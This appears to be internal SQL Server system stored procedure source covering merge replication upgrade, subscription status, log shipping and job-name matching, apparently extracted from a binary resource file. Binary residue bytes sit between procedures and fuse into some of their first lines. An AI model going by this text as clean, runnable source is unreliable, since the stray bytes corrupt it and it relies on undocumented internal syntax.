                not exists (select 1 from MSmerge_identity_range where artid=@artid and is_pub_range=1 and sys.fn_MSmerge_islocalsubid(subid)=1)
            begin
                insert dbo.MSmerge_identity_range(subid, artid, is_pub_range, max_used)
                    values(@subid, @artid, 1, NULL)
                if @@error<>0
                    goto error
            end
            
            -- cleanup the shiloh entry for the identity range for this article
            if object_id('dbo.MSrepl_identity_range') is not NULL
                delete from dbo.MSrepl_identity_range where objid=@objid
        end


        /* Drop the default constraint on the rowguid column and create a new
        ** one that uses newsequential id. This will help improve performance.
        */
        if @is_republisher = 0
        begin
            exec @retcode = sys.sp_MSaddguidcolumn @source_owner, @source_object
            if @@error <> 0 or @retcode <> 0
                goto error
        end        
        
        exec @retcode = sys.sp_MSaddmergetriggers @qualified_table_name
        if @retcode<>0 or @@error<>0
            goto error

        -- activate the article
        update dbo.sysmergearticles set status = 2 where artid = @artid and pubid = @pubid and status = 1
        update dbo.sysmergearticles set status = 6 where artid = @artid and pubid = @pubid and status = 5
        
NextArticle:
        fetch next from #articles into @artid, @objid, @pubid
    end

    if @is_republisher = 0 and @upgrade_metadata = 1
    begin
        drop table dbo.MSmerge_upgrade_in_progress
        if @@error<>0
            goto error
    end

    select @upgrade_done = 1
 success:
    exec sys.sp_MSreleaseMergeUpgradeSubscriberAppLock 
    return 0
    
error:
    close #articles
    deallocate #articles
    raiserror(20691, 16, -1)
    exec sys.sp_MSreleaseMergeUpgradeSubscriberAppLock 
    return 1
!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<+&!0 8
--
-- Name:    
--          sp_MShelp_subscription_status
--          
-- Description: 
--          Determine whether a subscription is out-of-date
--  
-- Security: 
--          Must be 'sysadmin' or 'db_owner' in distribution database.
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success/failure
--      
-- Notes:
--          This stored procedure is called by sp_MSdrop_subscription_status to determine whether
--          a subscription is currently out-of-date. If out-of-date, the output
--          parameter @out_of_date is set to 0.  If not out-of-date, @out_of_date is set to 1.
--          This stored procedure runs at the distributor in the distribution database.
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_MShelp_subscription_status(
@publisher          sysname,
@publisher_db       sysname,
@publication        sysname,
@subscriber         sysname,
@subscriber_db      sysname,
@retention          int,
@out_of_date        int OUTPUT,
@independent_agent  bit = 0
)AS

declare @subscriber_id          int
declare @publisher_id           int
declare @publication_id         int
declare @retcode                int
declare @agent_id               int
declare @min_valid_day          datetime
declare @subscription_time      datetime
declare @last_history			datetime
declare @last_status			int

/*
** Security check.  'sysadmin' or db_owner of distribution db required. 
*/
EXEC @retcode = sys.sp_MSreplcheck_publish
IF @@ERROR <> 0 or @retcode <> 0
    return (1)

select @out_of_date = 0 -- Default value set to in-sync
select @publisher_id = srvid from master.dbo.sysservers where UPPER(srvname collate database_default) = UPPER(@publisher)
select @subscriber_id = srvid from master.dbo.sysservers where UPPER(srvname collate database_default)=UPPER(@subscriber)

select  @publication_id = publication_id
        from MSpublications where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication

select @subscription_time = subscription_time
        from MSsubscriptions where
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication_id = @publication_id and
            subscriber_id = @subscriber_id and
            subscriber_db = @subscriber_db
            
select @min_valid_day = dateadd(hour, -@retention, getdate())
        
BEGIN TRAN
    select @agent_id = id from MSdistribution_agents 
        where   publisher_id = @publisher_id and 
                publisher_db = @publisher_db and 
                ((publication = @publication and @independent_agent = 1 ) 
                    or (LOWER(publication) = 'all' and @independent_agent = 0)) and
                subscriber_id = @subscriber_id and  
                subscriber_db = @subscriber_db

    if @agent_id is NOT NULL
        begin
        	select Top 1 @last_status = runstatus, @last_history = time 
        		from MSdistribution_history where agent_id = @agent_id
        			order by timestamp DESC
        			
            if EXISTS (select * from MSdistribution_history where agent_id = @agent_id) and (@last_history < @min_valid_day)
                and (@retention <> 0)
                select @out_of_date = 1
            else 
                if (not EXISTS (select * from MSdistribution_history where agent_id = @agent_id)) and
                        (@subscription_time < @min_valid_day) and (@retention <> 0)
                select @out_of_date = 1
        end
        
COMMIT TRAN
return (0)

FAILURE:
    if @@TRANCOUNT = 1
        ROLLBACK TRAN
    else
        COMMIT TRAN
    return (1)
0Z s
8create procedure sys.sp_MSscriptcustominsproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL		 -- May only be non-NULL if @publishertype = 2
    ,@usesqlclr bit=1
    ,@inDDLrepl bit=0
)
as
begin
	declare @retcode int
			,@scripting_proc nvarchar(512)
			,@insformat int
	-- constants
			,@callformat tinyint
			,@scallformat tinyint

	select @callformat = 1
			,@scallformat = 5

	--
	-- security check
	--
	exec @retcode = sys.sp_MSreplcheck_publish_withddladmin
	if @@error <> 0 or @retcode <> 0
	begin
	    return (1)
	end
	select @scripting_proc = quotename(object_name(ins_scripting_proc)) 
			,@insformat = case 
			    		when charindex( N'CALL', upper(ins_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then @callformat
			    		when charindex( N'SCALL', upper(ins_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then @scallformat
			    		else 0 end
		from dbo.sysarticles where artid = @artid

	-- SQL/None upd_cmd does not involve scripting, return without doing anything here.
	if @insformat = 0 
		return 0
	
	if @scripting_proc is null
	begin

        if @usesqlclr = 1 and @publishertype = 1
        begin
            exec @retcode = sys.sp_MSscriptcustominsproc_sqlclr
                @artid = @artid
                ,@publisher = @publisher
        end
        else
        begin
		    select @scripting_proc = case @insformat when @callformat then N'sys.sp_scriptinsproc'
			    								when @scallformat then N'sys.sp_scriptsinsproc'
				    							else N'' end
											
		    exec @retcode = @scripting_proc @artid = @artid
			    						,@publishertype = @publishertype
				    					,@publisher = @publisher
        end
	end
 	else 
 	begin
		--
		-- For security: break ownership chain as
		-- we have no control over the proc name is
		--
		declare @spretcode int
				,@spcall nvarchar(512)
		declare @temptext table(colidx int identity, col nvarchar(max) collate database_default) 
		select @spcall = N'exec @p1 = ' + @scripting_proc + N' @artid = @p2 '
		if @inDDLrepl = 1
		begin
			exec @retcode = sys.sp_executesql @stmt = @spcall
				,@params = N'@p1 int output, @p2 int'
				,@p1 = @spretcode output
				,@p2 = @artid
		end
		else
		begin
			insert @temptext(col) exec @retcode = sys.sp_executesql @stmt = @spcall
				,@params = N'@p1 int output, @p2 int'
				,@p1 = @spretcode output
				,@p2 = @artid
			select col from @temptext order by colidx
		end
		if (@retcode != 0 or @spretcode != 0)
			select @retcode = 1
	end
 
	return @retcode
end
0P D8hU),Q0 8create procedure sys.sp_MSget_log_shipping_new_sessionid 
(
    @agent_id uniqueidentifier      -- primary/secondary ID
    ,@agent_type tinyint                    -- 0 = Backup, 1 = Copy, 2 = Restore
    ,@session_id int output
)
as
begin
    set nocount on
    declare @retcode int
                ,@agent_idstring sysname

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- validate agent_type
    --
    if (@agent_type not in (0,1,2))
    begin
        raiserror(21055, 16, -1, '@agent_type','sp_MSget_log_shipping_new_sessionid')
        return 1
    end
    --
    -- validate agent
    --
    if (sys.fn_MSvalidatelogshipagentid(@agent_id, @agent_type) = 0)
    begin
        select @agent_idstring = cast(@agent_id as sysname)
        raiserror(32016, 16, 1, @agent_idstring, @agent_type)
        return 1
    end
    --
    -- get the current session id
    --
    select @session_id = isnull(max(session_id),0) + 1
    from msdb.dbo.log_shipping_monitor_history_detail 
    where agent_id = @agent_id and agent_type = @agent_type
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;`< 5La0 Q8--
-- Name: sp_MSislogreaderjobnamegenerated
--
-- Description: This procedure checks whether a given job id corresponds to
--              a logreader agent job with a name generated by replication. 
--              If so, a return value of zero will be returned, otherwise
--              a value of one will be returned to the caller.
-- 
-- Notes: 1) For this procedure to be effective, it must match the current
--           logreader agent name generation algorithm. Note that the 
--           algorithm used for matching auto-generated job name is not 
--           exact. (See sp_MSadd_logreader_agent instdist.sql)
--        2) This procedure is supposed to be executed at the distributor
--           where the publisher name and the publisher database name
--           are supplied through the RPC link.
--        3) There are two distinct code paths for the generation of 
--           the logreader name, one uses the agent id, and the other
--           uses a guid via the fn_repluniquename function.
--
-- Parameters: @publisher    sysname
--             @publisher_db sysname 
--             @jobid        uniqueidentifier
--
-- Returns: 0 - If the specified jobid corresponds to a logreader job with
--              a generated name.
--          1 - Otherwise
--
-- Security: This is an internal system procedure.
--
CREATE PROCEDURE sys.sp_MSislogreaderjobnamegenerated
(
    @publisher     sysname,
    @publisher_db  sysname,
    @job_id        uniqueidentifier
) 
AS
BEGIN
    SET NOCOUNT ON

	DECLARE @retcode					int
    DECLARE @generated_job_name			nvarchar(4000)
    DECLARE @generated_job_name_length	int
    DECLARE @job_name					sysname
    DECLARE	@publisher_type				sysname
    DECLARE @loc_publisher_db			sysname

	SELECT	@job_name = name
	FROM	msdb.dbo.sysjobs_view 
	WHERE	job_id = @job_id

    IF @job_name IS NULL
    BEGIN
        GOTO MISMATCH
    END

	-- Get publisher type
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher		= @publisher,
														@publisher_type	= @publisher_type OUTPUT

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		RETURN (1)
	END

   	-- For naming purposes, use @publisher instead of @publisher_db for HREPL
   	-- publishers that don't support publisher db notion
    IF @publisher_type LIKE N'ORACLE%'
    BEGIN
    	SELECT @loc_publisher_db = @publisher
    END
    ELSE
    BEGIN
    	SELECT @loc_publisher_db = @publisher_db
    END

    -- First of all, make sure that the job is indeed a logreader agent
    -- job (there should be a step with LogReader as the subsystem in 
    -- the job)
    IF NOT EXISTS
    (
    	SELECT	* 
		FROM	msdb.dbo.sysjobsteps
		WHERE	job_id = @job_id
		  AND	UPPER(subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'LOGREADER'
	)
    BEGIN
        GOTO MISMATCH
    END
    
    -- 1) Try doing a match for a name generated based on agentid
    SELECT	@generated_job_name =	LEFT(@publisher, 43) + N'-' + LEFT(@loc_publisher_db, 43) + N'-' + N'[0-9]%'

    IF UPPER(@job_name) LIKE UPPER(@generated_job_name) 
    BEGIN
        RETURN 0
    END
        
    -- 2) Try doing a match for a name generated using a guid, see fn_repluniquename
        
    SELECT	@generated_job_name = sys.fn_repluniquename (NULL,
    														@publisher,
    														@loc_publisher_db,
    														NULL,
    														NULL)
    
    SELECT	@generated_job_name_length = LEN(@generated_job_name)

    -- Try matching the prefix of the job name
    IF UPPER(LEFT(@job_name, @generated_job_name_length)) = UPPER(@generated_job_name)
    BEGIN
        -- Checks if the tail end of the job name matches a hexadecimal guid 
        IF UPPER(RIGHT(@job_name, len(@job_name) - @generated_job_name_length) collate SQL_Latin1_General_CP1_CS_AS)
            LIKE N'[0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F]'
        BEGIN
            RETURN 0
        END
        ELSE
        BEGIN
            GOTO MISMATCH
        END
    END

MISMATCH:
    IF @job_name IS NOT NULL
    BEGIN
        RAISERROR(21695, -1, -1, @job_name)
    END
    RETURN 1
END
0C D85hL	c!0@ 8create procedure sys.sp_MSmove_gen_rows
    @art_nick int,
    @num_rows_to_move int,
    @gen bigint,
    @changes_in_gen int,
    @target_gen bigint,
    @changes_in_target_gen int,
    @move_contents_rows_too bit = 1
as
    declare @tombstone_rows_moved int
    declare @contents_rows_moved int
    declare @procfailed bit
    declare @error int
    declare @cmd nvarchar(4000)

    select @procfailed = 1
    
    update top (@num_rows_to_move) dbo.MSmerge_tombstone with (rowlock)
        set generation = @target_gen 
        where generation = @gen and tablenick = @art_nick
    select @error = @@error, @tombstone_rows_moved = @@rowcount
    if @error<>0
    begin
        select @procfailed = 1
        goto EXIT_PROC
    end

    if @tombstone_rows_moved > 0
    begin
        update ppm set generation = @target_gen 
        from dbo.MSmerge_past_partition_mappings ppm inner join dbo.MSmerge_tombstone ts
        on ppm.tablenick = ts.tablenick
        and ppm.rowguid = ts.rowguid
        and ts.generation = @target_gen
        and ppm.generation = @gen
        and ppm.tablenick = @art_nick
        and ts.tablenick = @art_nick
        if @@error<>0
        begin
            select @procfailed = 1
            goto EXIT_PROC
        end
        
        select @changes_in_gen = @changes_in_gen - @tombstone_rows_moved
        select @changes_in_target_gen = @changes_in_target_gen + @tombstone_rows_moved

        -- TODO: update the before image object
    end

    -- move contents rows
    if @tombstone_rows_moved < @num_rows_to_move and @move_contents_rows_too = 1
    begin
        select @num_rows_to_move = @num_rows_to_move - @tombstone_rows_moved
        update top (@num_rows_to_move) dbo.MSmerge_contents set generation = @target_gen 
        where generation = @gen and tablenick = @art_nick
        select @error = @@error, @contents_rows_moved = @@rowcount
        if @error<>0
        begin
            select @procfailed = 1
            goto EXIT_PROC
        end
        select @changes_in_gen = @changes_in_gen - @contents_rows_moved
        select @changes_in_target_gen = @changes_in_target_gen + @contents_rows_moved
    end
    
    update dbo.MSmerge_genhistory with (rowlock) 
        set changecount = @changes_in_gen where generation = @gen
    if @@error<>0
    begin
        select @procfailed = 1
        goto EXIT_PROC
    end
    
    update dbo.MSmerge_genhistory with (rowlock) 
        set changecount = @changes_in_target_gen where generation = @target_gen
    if @@error<>0
    begin
        select @procfailed = 1
        goto EXIT_PROC
    end


    select @procfailed = 0
    
EXIT_PROC:
    if (@procfailed = 1)
        return (1)    
    else
        return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`[
<
&Z0ʎ \8Q]h>8^!`{04 b	8--
-- Name: sp_MSactivateprocedureexecutionarticleobject
--
-- Description: This procedure is called by the snapshot agent to activate
--              a single procedure execution article object.
--
-- Parameters: @qualified_procedure_execution_object_name
--             @is_repl_serializable_only
--
-- Notes: This procedure must be called within a user transaction or it will
--        result in a no-op.
--
-- Security: Public interface object, will result in no-op if called by
--           non-db_owner or non-replication agent.
-- Requires Certificate signature for catalog access
-- 
create procedure sys.sp_MSactivateprocedureexecutionarticleobject (
    @qualified_procedure_execution_object_name nvarchar(517),
    @is_repl_serializable_only bit
    )
as
begin
    set nocount on

    if @@trancount < 1 return 1
    
    if sessionproperty('replication_agent') <> 1 return 1
    
    if object_id(N'dbo.syspublications', 'U') is null return 1
    
    declare @retcode int
          , @is_execution_replicated bit
          , @current_is_repl_serializable_only bit
          , @object_id int
          , @error int
    set @retcode = 0

    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1

    set @object_id = object_id(@qualified_procedure_execution_object_name)
    select @is_execution_replicated = is_execution_replicated
         , @current_is_repl_serializable_only = is_repl_serializable_only
      from sys.procedures
     where object_id = @object_id
    
    if @is_execution_replicated = 0 or 
       @current_is_repl_serializable_only = 0 and @is_repl_serializable_only = 1
    begin
        exec %%Object(MultiName = @qualified_procedure_execution_object_name).LockMatchID(ID = @object_id, Exclusive = 1, BindInternal = 0)
        set @error = @@error if @error <> 0 begin raiserror(@error, 16, -1) return 1 end
        exec %%Module(ID = @object_id).SetProcReplicated(Value = 1)
        set @error = @@error if @error <> 0 begin raiserror(@error, 16, -1) return 1 end
        if @is_repl_serializable_only = 1
        begin
            exec %%Module(ID = @object_id).SetProcReplSerialOnly(Value = 1)
            set @error = @@error if @error <> 0 begin raiserror(@error, 16, -1) return 1 end
        end
    end

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<e
=EB0 98--
-- Name: sp_MSisdistributionjobnamegenerated
--
-- Descriptions: This procedure checks whether a given job id corresponds to
--               a distribution agent job with a name generated by replication. 
--               If so, a return value of zero will be returned, otherwise
--               a value of one will be returned to the caller.
-- 
-- Notes: 1) For this procedure to be effective, it must match the current
--           distribution agent name generation algorithm. Note that the 
--           algorithm used for matching auto-generated job name is not 
--           exact. (See sp_MSadd_distribution_agent instdist.sql)
--        2) This procedure is supposed to be executed at the distributor.
--           The @publisher, @publisher_db, and @publication parameters
--           are supposed to be passed through the RPC link from the 
--           publisher.
--        3) There are two distinct code paths for the generation of 
--           the distribution job name, one uses the agent id, and the other
--           uses a guid via the fn_repluniquename function.        
--
-- Parameters: @publisher     sysname
--             @publisher_db  sysname
--             @publication   sysname (This can be null for shared agent)
--             @subscriber    sysname
--             @job_id        uniqueidentifier
--
-- Returns: 0 - If the specified jobid corresponds to a snapshot job with
--              a generated name.
--          1 - Otherwise
--
-- Security: This is an internal system procedure.
--
CREATE PROCEDURE sys.sp_MSisdistributionjobnamegenerated 
(
    @publisher        sysname,
    @publisher_db     sysname,
    @publication      sysname,
    @subscriber       sysname,
    @job_id           uniqueidentifier
)
AS
BEGIN
    SET NOCOUNT ON

	DECLARE @retcode					int
    DECLARE @generated_job_name			nvarchar(4000)
    DECLARE @generated_job_name_length	int
    DECLARE @job_name					sysname
    DECLARE @publisher_type				sysname
    DECLARE @loc_publisher_db			sysname
        
    SELECT	@job_name = name
	FROM	msdb.dbo.sysjobs_view
	WHERE	job_id = @job_id

    IF @job_name IS NULL
    BEGIN
        GOTO MISMATCH
    END
    
    -- First of all, make sure that the job is indeed a logreader agent
    -- job (there should be a step with LogReader as the subsystem in the
    -- job)
    IF NOT EXISTS
    (
    	SELECT	*
		FROM	msdb.dbo.sysjobsteps
		WHERE	job_id = @job_id
		  AND	UPPER(subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'DISTRIBUTION'
	)
    BEGIN
        GOTO MISMATCH
    END

	-- Get publisher type
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher		= @publisher,
														@publisher_type	= @publisher_type OUTPUT

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		RETURN (1)
	END

   	-- For naming purposes, use @publisher instead of @publisher_db for HREPL
   	-- publishers that don't support publisher db notion
    IF @publisher_type LIKE N'ORACLE%'
    BEGIN
    	SELECT @loc_publisher_db = @publisher
    END
    ELSE
    BEGIN
    	SELECT @loc_publisher_db = @publisher_db
    END

    -- 1) Try doing a match for a name generated based on agentid
    IF @publication IS NOT NULL AND (LOWER(@publication)<>'all')
    BEGIN
        SELECT	@generated_job_name =	LEFT(@publisher, 21) + N'-' +
										LEFT(@loc_publisher_db, 21) + N'-' +
										LEFT(@publication, 21) + N'-' +
										LEFT(@subscriber, 21) + N'-' +
										N'[0-9]%'
    END
    ELSE
    BEGIN
        SELECT	@generated_job_name =	LEFT(@publisher, 28) + N'-' +
										LEFT(@loc_publisher_db, 28) + N'-' +
										LEFT(@subscriber, 28) + N'-' +
										N'[0-9]%'
    END
    
    IF UPPER(@job_name) LIKE UPPER(@generated_job_name)
    BEGIN
        RETURN 0
    END

    -- 2) Try doing a match for a neam generated using a guid, see fn_repluniquename

    IF @publication IS NOT NULL AND (LOWER(@publication)<>'all')
    BEGIN
        SELECT	@generated_job_name = sys.fn_repluniquename (NULL,
    														@publisher,
    														@loc_publisher_db,
    														@publication,
    														@subscriber)
    END
    ELSE
    BEGIN
        SELECT	@generated_job_name = sys.fn_repluniquename (NULL,
    														@publisher,
    														@loc_publisher_db,
    														@subscriber,
    														NULL)
    END

    SELECT @generated_job_name_length = LEN(@generated_job_name)

    -- Try matching the prefix of the job name
    IF UPPER(LEFT(@job_name, @generated_job_name_length)) = UPPER(@generated_job_name)
    BEGIN
        -- Checks if the tail end of the job name matches a hexadecimal guid 
        IF UPPER(RIGHT(@job_name, len(@job_name) - @generated_job_name_length) COLLATE SQL_Latin1_General_CP1_CS_AS)
            LIKE N'[0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F]'
        BEGIN
            RETURN 0
        END
        ELSE
        BEGIN
            GOTO MISMATCH
        END
    END

MISMATCH:
    IF @job_name IS NOT NULL
    BEGIN
        RAISERROR(21695, -1, -1, @job_name)
    END
    RETURN 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<Z릨'0G@ 8 
-- add it
create view sys.pdw_database_mappings as
select
	database_id,
	physical_name	collate database_default physical_name
from sys._pdw_database_mappings
0_M@ Y8
--
-- Name:    
--          sp_IHexecresultset
--          
-- Description: 
--          Executes xp_execresultset in sa context
--  
-- Security: 
--          Internal
--
-- Returns:
--          Error code
--      
-- Owner:   
--          acarter
--
-- Notes:
